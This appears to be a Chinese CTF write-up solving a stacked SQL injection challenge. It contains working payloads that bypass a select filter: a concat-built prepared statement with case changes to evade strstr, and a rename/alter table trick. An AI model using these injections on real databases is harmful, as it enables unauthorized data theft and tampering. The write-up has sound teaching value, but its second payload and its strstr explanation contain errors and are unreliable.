c0d1

打开题目,故名思意,是一道sql注入的题目

先判断是单引号闭合还是双引号闭合

输入一个 ’ 发现报错了

 

 说明是单引号闭合

再判断他所在的数据库有几列

正常回显了

 

报错了

得出列数为2

一开始是想尝试union注入

 

 可惜被过滤了 select

没了selcet,报错注入也只能看到一些简单的信息,无法得出flag

于是想到了堆叠注入

堆叠注入就是多条sql语句一起执行,就是一次执行多条命令

直接查表名

 

再分别查一下表下面的字段

 

 

 

 这里要注意的是表名前后要加反引号!!!

 由以上的查询结果可以得知flag在1919810931114514表的flag字段

由于过滤掉了select无法直接获取字段内容

所以可以采用下面几种方式去绕过

1.预编译

预编译相关语法如下:

1.set用于设置变量名和值

2.prepare用于预备一个语句,并赋予名称,以后可以引用该语句

3.execute执行语句

4.deallocate prepare用来释放掉预处理的语句

就可以构造出我们的payload:0\';set @q=concat("sel","ect flag from `1919810931114514`");prepare 111 from @q;execute 111;# 

但是又报错了

 

但是这里的strstr函数是不能区分大小写的,所以可以通过改变大小写来绕过

更新后的payload:0\';Set @q=concat("sel","ect flag from `1919810931114514`");Prepare a from @q;execute a;# 

 

 成功得到flag

 2.
1.将words表改名为word1或其它任意名字 :    rename table words to new_word;
2.1919810931114514改名为words  :  rename table 1919810931114514 to new_19198;
3.将新的word表插入一列,列名为id : alter table new_19198 add id int unsigned not Null auto_increment primary key;
4.将flag列改名为data : alert table new_19198 change flag data varchar(100);

payload:1’;rename table words to new_word;rename table 1919810931114514 to new_19198;alter table new_19198 add id int unsigned not Null auto_increment primary key; alert table new_19198 change flag data varchar(100);#

 

分类:

技术点:

相关文章: